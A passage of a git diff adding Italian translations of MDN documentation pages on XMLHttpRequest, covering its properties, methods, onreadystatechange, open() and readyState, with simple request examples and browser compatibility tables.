+ <dd>Restituisce un <code>unsigned long</code> rappresentante il numero (espresso in millisecondi) rimanente alla chiamata prima che questa venga automaticamente soppressa.</dd>
+ <dt id="xmlhttprequesteventtarget-ontimeout">{{domxref("XMLHttpRequestEventTarget.ontimeout")}}</dt>
+ <dd>E' un {{domxref("EventHandler")}} (gestore di eventi) che può occorrere quando una richiesta termina in timeout. {{gecko_minversion_inline("12.0")}}</dd>
+ <dt id="xmlhttprequest-upload">{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("XMLHttpRequestUpload")}}, rappresenta un processo di upload.</dd>
+ <dt id="xmlhttprequest-withcredentials">{{domxref("XMLHttpRequest.withCredentials")}}</dt>
+ <dd>Fornisce uno stato {{jsxref("Boolean")}} che indica quando //that indicates whether or not cross-site <code>Access-Control</code> requests should be made using credentials such as cookies or authorization headers.</dd>
+ <dd> </dd>
+ <dd>
+ <h3 id="Proprietà_non-standard">Proprietà non-standard</h3>
+ </dd>
+ <dt>{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}</dt>
+ <dd>{{Interface("nsIChannel")}}. Definisce il canale utilizzato dall'oggetto quando effettua la chiamata.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}</dt>
+ <dd>Restituisce un dato boolenao, true nel caso la chiamata venga inviata priva di cookie e/o dati di autenticazione nell'header.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}</dt>
+ <dd>Restituisce un dato booleano true nel caso in cui gli stessi parametri di origine non siano comparati dalla chiamata.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozBackgroundRequest")}}</dt>
+ <dd>Restituisce un valore booleano indicante se l'oggetto rappresenta una chiamata attiva latente.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}</dt>
+ <dd>E' un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer"><code>ArrayBuffer</code></a>. contentente il risultato della chiamata in forma di un array JavaScript tipizzato.</dd>
+ <dt>{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}</dt>
+ <dd><strong>Questa funzione Gecko-only , booleana, è stata rimossa a partire da Firefox/Gecko 22.</strong> In sostituzione si veda <a href="https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events">Server-Sent Events</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API">Web Sockets</a>, o <code>responseText</code> per il monitoraggio dei progressi degli eventi.</dd>
+ <dd>
+ <h3 id="Gestori_degli_eventi">Gestori degli eventi</h3>
+
+ <p><code>onreadystatechange</code> come proprietà dell'istanza <code>XMLHttpRequest</code> è supportata in ogni browser.</p>
+
+ <p>In virtù di ciò, un numero sempre maggiore di trigger degli eventi è stata implementata in vari browser (onload, onerror, onprogress, etc.). Ognuno di questi è supportato da Firefox, in particolare si veda <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequestEventTarget" title="">nsIXMLHttpRequestEventTarget</a></code> e <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a>.</p>
+
+ <p>Molte versioni recenti di browser, Firefox e derivate incluse, supportano la ricezione degli eventi <code>XMLHttpRequest</code> mediante le API standard <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener</a></code> in aggiunta alle proprietà aggiuntive applicate ai metodi dei gestori degli eventi.</p>
+
+ <h2 id="Metodi">Metodi</h2>
+ </dd>
+ <dt>     {{domxref("XMLHttpRequest.abort()")}}</dt>
+ <dd> </dd>
+ <dd>Interrompe la chiamata se è stata già inviata.</dd>
+ <dt>{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}</dt>
+ <dd>Restituisce tutti gli header in risposta, separati da <a href="https://developer.mozilla.org/en-US/docs/Glossary/CRLF">CRLF</a>, sottoforma di stringa o <code>null</code> se non viene ricevuto nessun risultato.</dd>
+ <dt>{{domxref("XMLHttpRequest.getResponseHeader()")}}</dt>
+ <dd>Restituisce la stringa contenente il testo dell'header specifico o <code>null</code> se anche il risultato non è stato ricevuto o l'header non esiste.</dd>
+ <dt>{{domxref("XMLHttpRequest.open()")}}</dt>
+ <dd>Inizializza una chiamata. Questa funzione è derivante da codice Javascript; per inizializzare una chiamata dal codice nativo si veda <a class="internal" href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#openRequest%28%29"><code>openRequest()</code></a>.</dd>
+ <dt>{{domxref("XMLHttpRequest.overrideMimeType()")}}</dt>
+ <dd>Revoca il MIME type inviato dal server.</dd>
+ <dt>{{domxref("XMLHttpRequest.send()")}}</dt>
+ <dd>Invia la richiesta. Se la richiesta è asincrona (come è di default) questo metodo risponde non appena terminato l'invio della richiesta attiva.</dd>
+ <dt>{{domxref("XMLHttpRequest.setRequestHeader()")}}</dt>
+ <dd>Stabilisce il valore di un header HTTP di richiesta. E' preferibile chiamare <code>setRequestHeader()dopo</code> <a href="https://developer.mozilla.org/it/docs/Web/API/XMLHttpRequest$edit#open"><code>open()</code></a>, ma prima di <code>send()</code>.</dd>
+ <dd>
+ <h3 id="Metodi_non-standard">Metodi non-standard</h3>
+ </dd>
+ <dt>{{domxref("XMLHttpRequest.init()")}}</dt>
+ <dd>Inizializza l'oggetto da usare in codice C++.</dd>
+ <dd>
+ <div class="warning"><strong>Attenzione:</strong> Questo metodo <em>non</em> deve essere eseguito da JavaScript.</div>
+ </dd>
+ <dt>{{domxref("XMLHttpRequest.openRequest()")}}</dt>
+ <dd>Inizializza una richiesta. Questo metodo è derivante da codice nativo; per inizializzare una richiesta da JavaScript si utilizzi invece <a class="internal" href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#open%28%29"><code>open()</code></a>.</dd>
+ <dt>{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}</dt>
+ <dd>Una variante del metodo <code>send()</code> il quale invia dati binari.</dd>
+ <dt>
+ <h2 id="Specifiche">Specifiche</h2>
+
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Specifiche</th>
+    <th scope="col">Stato</th>
+    <th scope="col">Commenti</th>
+   </tr>
+   <tr>
+    <td>{{SpecName('XMLHttpRequest')}}</td>
+    <td>{{Spec2('XMLHttpRequest')}}</td>
+    <td>Live standard, ultima versione</td>
+   </tr>
+  </tbody>
+ </table>
+ </dt>
+</dl>
+
+<h2 id="Compatibilità">Compatibilità</h2>
+
+<p> </p>
+
+
+
+<div>{{Compat("api.XMLHttpRequest")}}</div>
+
+<h2 id="Voci_correlate">Voci correlate</h2>
+
+<ul>
+ <li>MDN tutorials su XMLHttpRequest:
+  <ul>
+   <li><a href="https://developer.mozilla.org/en-US/docs/AJAX/Getting_Started">AJAX — Getting Started</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/FormData"><code>FormData</code></a></li>
+  </ul>
+ </li>
+ <li><a class="external external-icon" href="http://www.html5rocks.com/en/tutorials/file/xhr2/">HTML5 Rocks — New Tricks in XMLHttpRequest2</a></li>
+ <li><code>Chrome scope availability</code> — how to access XMLHttpRequest from JSM modules etc., which do not have access to DOM
+  <ul>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">nsIXMLHttpRequest</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/it/web/api/xmlhttprequest/onreadystatechange/index.html b/files/it/web/api/xmlhttprequest/onreadystatechange/index.html
new file mode 100644
index 0000000000..1bbfb02852
--- /dev/null
+++ b/files/it/web/api/xmlhttprequest/onreadystatechange/index.html
@@ -0,0 +1,119 @@
+---
+title: XMLHttpRequest.onreadystatechange
+slug: Web/API/XMLHttpRequest/onreadystatechange
+translation_of: Web/API/XMLHttpRequest/onreadystatechange
+---
+<div>{{APIRef}}</div>
+
+<p>UN <a href="/en-US/docs/Web/API/EventHandler" title="A possible way to get notified of Events of a particular type (such as click) for a given object is to specify an event handler using:"><code>EventHandler</code></a>  che è invocato ogni volta che l'attributo <code>readyState </code>cambia. la callback è invocata dal thread dell'interfaccia utente. </p>
+
+<p>La proprietà <strong><code>XMLHttpRequest.onreadystatechange</code></strong>  contiene l<code>'event handler </code>che deve essere invocato quando l'evento {{event("readystatechange")}} si verifica, ovvero ogni volta in cui la proprietà {{domxref("XMLHttpRequest.readyState", "readyState")}} del {{domxref("XMLHttpRequest")}} viene modificata.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> This should not be used with synchronous requests and must not be used from native code. .</p>
+</div>
+
+<p>L'evento <code>readystatechange</code> non si verificherà se una richiesta <code>XMLHttpRequest</code> viene cancellata utilizzando il metodo <a href="/en-US/docs/Web/API/XMLHttpRequest/abort">abort()</a>.</p>
+
+<div class="note">
+<p>UPDATE: it's firing in the latest version of browsers (Firefox 51.0.1, Opera 43.0.2442.991, Safari 10.0.3 (12602.4.8), Chrome 54.0.2840.71, Edge, IE11). Example <a href="https://jsfiddle.net/merksam/ve5oc0gn/">here</a> - just reaload page few times.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>XMLHttpRequest</em>.onreadystatechange = <em>callback</em>;</pre>
+
+<h3 id="Values">Values</h3>
+
+<ul>
+ <li><code><em>callback</em></code> è la funzione che viene eseguita quando  <code>readyState</code> cambia.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+
+xhr.open(<em>method</em>, <em>url</em>, true);
+xhr.onreadystatechange = function () {
+  if(xhr.readyState === XMLHttpRequest.DONE &amp;&amp; xhr.status === 200) {
+    console.log(xhr.responseText);
+  }
+};
+xhr.send();</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#handler-xhr-onreadystatechange')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatIe(7)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari(1.2)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer version 5 and 6 supported ajax calls using <code>ActiveXObject()</code>.</p>
diff --git a/files/it/web/api/xmlhttprequest/open/index.html b/files/it/web/api/xmlhttprequest/open/index.html
new file mode 100644
index 0000000000..b4786aecc6
--- /dev/null
+++ b/files/it/web/api/xmlhttprequest/open/index.html
@@ -0,0 +1,115 @@
+---
+title: XMLHttpRequest.open()
+slug: Web/API/XMLHttpRequest/open
+translation_of: Web/API/XMLHttpRequest/open
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Il metodo <strong>XMLHttpRequest.open()</strong> inizializza una richiesta. Questo metodo è utilizzato da codice JavaScript; invece, per inizializzare una richiesta da codice nativo, usare <a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#openRequest()"><code>openRequest()</code></a>.</p>
+
+<div class="note"><strong>Nota:</strong> Chiamare questo metodo da una richiesta già attiva (una in cui <code>open()</code> o <code>openRequest()</code> è stata già chiamata) è equivalente a chiamare <code>abort()</code>.</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">XMLHttpRequest.open(<var>metodo</var>,<var> url</var>)
+XMLHttpRequest.open(<var>metodo</var>,<var> url</var>,<var> async)</var>
+XMLHttpRequest.open(<var>metodo</var>,<var> url</var>,<var> async</var>,<var> utente</var>)
+XMLHttpRequest.open(<var>metodo</var>,<var> url</var>,<var> async</var>,<var> utente</var>,<var> password</var>)
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>metodo</code></dt>
+ <dd>Il metodo HTTP da utilizzare, come "GET", "POST", "PUT", "DELETE", ecc. Campo ignorato per URL non-HTTP(S).</dd>
+ <dt><code>url</code></dt>
+ <dd>{{domxref("DOMString")}} che rappresenta l'URL a cui inviare la richiesta.</dd>
+ <dt><code>async</code> {{optional_inline}}</dt>
+ <dd>Un parametro opzionale Booleano, <code>true</code> in maniera predefinita, indicante se effettuare o meno l'operazione in modalità asincrona. Se questo valore è <code>false</code>, il metodo <code>send()</code> non ritornerà finchè la risposta non sarà ricevuta. Se <code>true</code>, la notifica di una transazione completata è fornita utilizzando gli event listener. Questo <em>must</em> essere true se l'attributo <code>multipart</code> è <code>true</code>, o partirà un eccezione.
+ <div class="note"><strong>Nota:</strong> Da Gecko 30.0 {{geckoRelease("30.0")}}, le richieste sincrone sul thread principale sono state deprecate a causa di effetti negativi sull'esperienza utente.</div>
+ </dd>
+ <dt><code>utente</code> {{optional_inline}}</dt>
+ <dd>Il valore opzionale del nome dell'utente da utilizzare per scopi di autenticazione; il valore predefinito è <code>null</code>.</dd>
+ <dt><code>password</code> {{optional_inline}}</dt>
+ <dd>La password opzionale da utilizzare per scopi di autenticaziones; il valore predefinito è <code>null</code>.</dd>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-open()-method', 'open()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_fra_browser">Compatibilità fra browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown}}</td>
+   <td>{{CompatIe('5')}}<sup>[1]</sup><br>
+    {{CompatIe('7')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('1.2')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatVersionUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Questa funzionalità è stata implementata attraverso ActiveXObject(). Internet Explorer implementa lo standard XMLHttpRequest dalla versione 7.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<p><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Utilizzare XMLHttpRequest</a></p>
diff --git a/files/it/web/api/xmlhttprequest/readystate/index.html b/files/it/web/api/xmlhttprequest/readystate/index.html
new file mode 100644
index 0000000000..a37fa1e1db
--- /dev/null
+++ b/files/it/web/api/xmlhttprequest/readystate/index.html
@@ -0,0 +1,152 @@
+---
+title: XMLHttpRequest.readyState
+slug: Web/API/XMLHttpRequest/readyState
+translation_of: Web/API/XMLHttpRequest/readyState
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>la proprietà <strong>XMLHttpRequest.readyState</strong> restituisce lo stato nel quale si trova il client di una richiesta XMLHttpRequest. Un client <abbr title="XMLHttpRequest">XHR</abbr> si può trovare in uno degli stati seguenti:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Value</td>
+   <td class="header">State</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>UNSENT</code></td>
+   <td>Il Client è stato creato, ma il metodo <code>open()</code> della XHR non è stato ancora invocato.</td>
+  </tr>
+  <tr>
+   <td><code>1</code></td>
+   <td><code>OPENED</code></td>
+   <td>Il metodo <code>open()</code> è stato invocato.</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td><code>HEADERS_RECEIVED</code></td>
+   <td>Il metodo <code>send() </code>della XHR è stato invocato, e sono già disponibili lo status della risposta HTTP ed il suo header. </td>
+  </tr>
+  <tr>
+   <td><code>3</code></td>
+   <td><code>LOADING</code></td>
+   <td>Sta avvenendo il download dei dati; <code>responseText</code> contiene dati parziali.</td>
+  </tr>
+  <tr>
+   <td><code>4</code></td>
+   <td><code>DONE</code></td>
+   <td>L'operazione è stata completata.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>UNSENT</dt>
+ <dd>Il Client è stato creato, ma il metodo <code>open()</code> della XHR non è stato ancora invocato.</dd>
+ <dt>OPENED</dt>
+ <dd>Il metodo <code>open() </code>della XHR è stato invocato. In questo stato è possibile settare l' header della richiesta HTTP utilizzando il metodo <a href="/en-US/docs/Web/API/XMLHttpRequest/setRequestHeader">setRequestHeader()</a>; può essere invocato il metodo <a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a>, che inizia il fetch della richiesta.</dd>
+ <dt>HEADERS_RECEIVED</dt>
+ <dd>Il metodo send() è stato invocato e sono stati ricevuto gli headers della risposta; è possibile conoscere il codice della risposta HTTP ed i suoi metadati.</dd>
+ <dt>LOADING</dt>
+ <dd>Sta avvenendo il download del body della risposta HTTP; se il <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseType">responseType</a></code> è "text" o vuoto, <code><a href="/en-US/docs/Web/API/XMLHttpRequest/responseText">responseText</a> </code>conterrà un testo parziale.</dd>
+ <dt>DONE</dt>
+ <dd>L'operazione di fetch è terminata; Questo può significare sia che il trasferimento dei dati è stato un successo e questi sono completamente disponibili o che è fallito.</dd>
+</dl>
+
+<div class="note">
+<p>The state names are different in Internet Explorer. Instead of <code>UNSENT</code>, <code>OPENED</code>,<code> HEADERS_RECEIVED</code>,<code> LOADING</code> and <code>DONE, the names READYSTATE_UNINITIALIZED</code> (0), <code>READYSTATE_LOADING</code> (1), <code>READYSTATE_LOADED</code> (2), <code>READYSTATE_INTERACTIVE</code> (3) and <code>READYSTATE_COMPLETE</code> (4) are used.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+console.log('UNSENT', xhr.readyState); // readyState sarà pari a 0
+
+xhr.open('GET', '/api', true);
+console.log('OPENED', xhr.readyState); // readyState sarà pari a 1
+
+xhr.onprogress = function () {
+    console.log('LOADING', xhr.readyState); // readyState sarà pari a 3
+};
+
+xhr.onload = function () {
+    console.log('DONE', xhr.readyState); // readyState sarà pari a 4
+};
+
+xhr.send(null);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#states')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<sup>[1]</sup></td>
+   <td>{{CompatIe(7)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari("1.2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/it/web/api/xmlhttprequest/usare_xmlhttprequest/index.html b/files/it/web/api/xmlhttprequest/usare_xmlhttprequest/index.html
new file mode 100644
index 0000000000..4f55ac07ff
--- /dev/null
+++ b/files/it/web/api/xmlhttprequest/usare_xmlhttprequest/index.html
@@ -0,0 +1,741 @@
+---
+title: Usare XMLHttpRequest
+slug: Web/API/XMLHttpRequest/Usare_XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+---
+<p>Per inviare una richiesta HTTP, crea  un oggetto {{domxref("XMLHttpRequest")}}, apri un URL, ed invia la richiesta. Dopo che la transazione è completata, l'oggetto conterrà informazioni utili come il testo di risposta e lo <a href="/en-US/docs/HTTP/HTTP_response_codes" title="HTTP response codes">stato HTTP</a>. Questa pagina illustra alcuni dei più comuni e oscuri casi d'uso di questo potente oggetto <code>XMLHttpRequest</code>.</p>
+
+<pre class="brush: js">function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.onload = reqListener;
+oReq.open("GET", "http://www.example.org/example.txt");
+oReq.send();</pre>
+
+<h2 id="Tipi_di_Richieste">Tipi di Richieste</h2>
+
+<p>Una richiesta inviata con XMLHttpRequest può essere restituita in due modi, sincrona o asincrona. Il tipo di richiesta viene deciso dall'argomento opzionale <code>async</code> (il terzo argomento) che viene impostato nel metodo <a href="/en-US/docs/DOM/XMLHttpRequest#open()" title="DOM/XMLHttpRequest#open()">open()</a> di {{domxref("XMLHttpRequest.open()")}}. Se l'argomento è <code>true</code> o se non è specificato, il <code>XMLHttpRequest</code> è processato in maniera asincrona, in caso contrario è processato in maniera sincrona. Una discussione dettagliata è una dimostrazione di queste due tipologie di richieste possono essere trovate nella pagina <a href="/en-US/docs/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests" title="Synchronous and Asynchronous Requests">richieste sincrone ed asincrone</a>. In generale, dovresti usare raramente le richieste sincrone, se mai ne farai uso.</p>
+
+<div class="note"><strong>Nota:</strong> Da Gecko 30.0 {{ geckoRelease("30.0") }}, le richieste sincrone sul thread principale sono state deprecate a causa degli effetti negativi sull'esperienza utente.</div>
+
+<h2 id="Gestire_le_risposte">Gestire le risposte</h2>
+
+<p>Ci sono vari tipi di <a href="http://www.w3.org/TR/XMLHttpRequest2/#response" title="http://www.w3.org/TR/XMLHttpRequest2/#response">attributi di risposta</a> definite dallo standard W3C sul costruttore XMLHttpRequest. Questi sono in grado di fornire al client che effettua la richiesta importanti informazioni sullo stato della risposta. In alcuni casi in cui si lavora con risposte di tipo non testuale possono riguardare alcuni elementi di analisi e manipulazioni come evidenziato dai paragrafi seguenti.</p>
+
+<h3 id="Analizzare_e_modificare_la_proprietà_responseXML">Analizzare e modificare la proprietà  <code>responseXML</code></h3>
+
+<p>Se si usa l'oggetto <code>XMLHttpRequest</code> per ricevere il contenuto di un documento XML remoto, la proprietà <code>responseXML</code> dell'oggetto stesso sarà assegnata a un oggetto DOM contentente un il documento XML a cui è stata effettuata una operazione di parsing. Se si lavora con tale proprietà può essere difficile analizzare e modificare tale proprietà. Di seguito sono riportate i quattro principali metodi per lavorare con tale documento XML:</p>
+
+<ol>
+ <li>Utilizzare <a href="/en-US/docs/XPath" title="XPath">XPath</a> per indirizzare (cioè puntare a) parti di esso.</li>
+ <li>Usare <a href="/en-US/docs/JXON" title="JXON">JXON</a> per convertire il documento in un albero JavaScript Object.</li>
+ <li>Effettuare il <a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Parsing e la serializzazione XML</a> manualmente su stringhe e oggetti.</li>
+ <li>Utilizzare un <a href="/en-US/docs/XMLSerializer" title="XMLSerializer">XMLSerializer</a> per serializzare <strong>alberi DOM su stringhe o file</strong>.</li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/regexp">RegExp </a>possono essere utilizzate se si conosce sempre il contenuto del documento XML a priori. In tal caso, se si utilizzano delle espressioni regolari con coscienza dei ritorni di riga, può essere necessario o consigliato di rimuovere le interruzioni di riga. In ogni caso è sempre sconsigliato utilizzare questo metodo e di considerarlo solo come "ultima spiaggia" in quanto se il documento XML dovesse cambiare anche in modo irrisorio questa metodologia potrebbe fallire.</li>
+</ol>
+
+<h3 id="Analizzare_e_manipolare_una_proprietà_responseText_contenentente_un_documento_HTML">Analizzare e manipolare una proprietà <code>responseText</code> contenentente un documento HTML</h3>
+
+<div class="note"><strong>Nota:</strong> La W3C <a href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> specification permette il parse del codice HTML tramite la proprietà <code>XMLHttpRequest.responseXML</code>. SI legga l'articolo a riguardo <a href="/en-US/docs/HTML_in_XMLHttpRequest" title="HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a> per dettagli.</div>
+
+<p>Se si utilizza l'oggetto <code>XMLHttpRequest</code> per ottenere il contenuto di una pagina HTML remota, la proprietà <code>responseText</code> conterrà un amalgama di tutti i tag HTML. Ciò può essere difficile da manipolare e analizzare. Ci sono principalmente tre divere metodologie per analizzare questo insieme:</p>
+
+<ol>
+ <li>Utilizzare la proprietà <code>XMLHttpRequest.responseXML</code>.</li>
+ <li>Iniettare il contenuto nel corpo di un <a href="/en-US/docs/Web/API/DocumentFragment">document fragment</a> attraverso la proprietà <code>fragment.body.innerHTML</code> e navigare il codice DOM del fragment.</li>
+ <li>Ancora una volta <a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/regexp">RegExp </a>possono essere utlizzate se si conosce sempre il contenuto della risposta HTML. Questo metodo è, comuqnue, sconsigliato perchè anche una piccola modifica del codice HTML sorgente potrebbe protare questa metodologia a fallire.</li>
+</ol>
+
+<h2 id="Gestire_dati_binari">Gestire dati binari</h2>
+
+<p>Nonostante l'oggetto <code>XMLHttpRequest</code> è principalmente utilizzato per ricevere e inviare dati testuali, può essere utilizzato per inviare e ricevere dati dal contenuto binario. Esistono svariati metodi ben testati per fare sì che l'oggetto in questione invii dati binari. Questi metodo prevedono l'utilizzo del metodo <code>.overrideMimeType(...)</code> sull'oggetto.</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
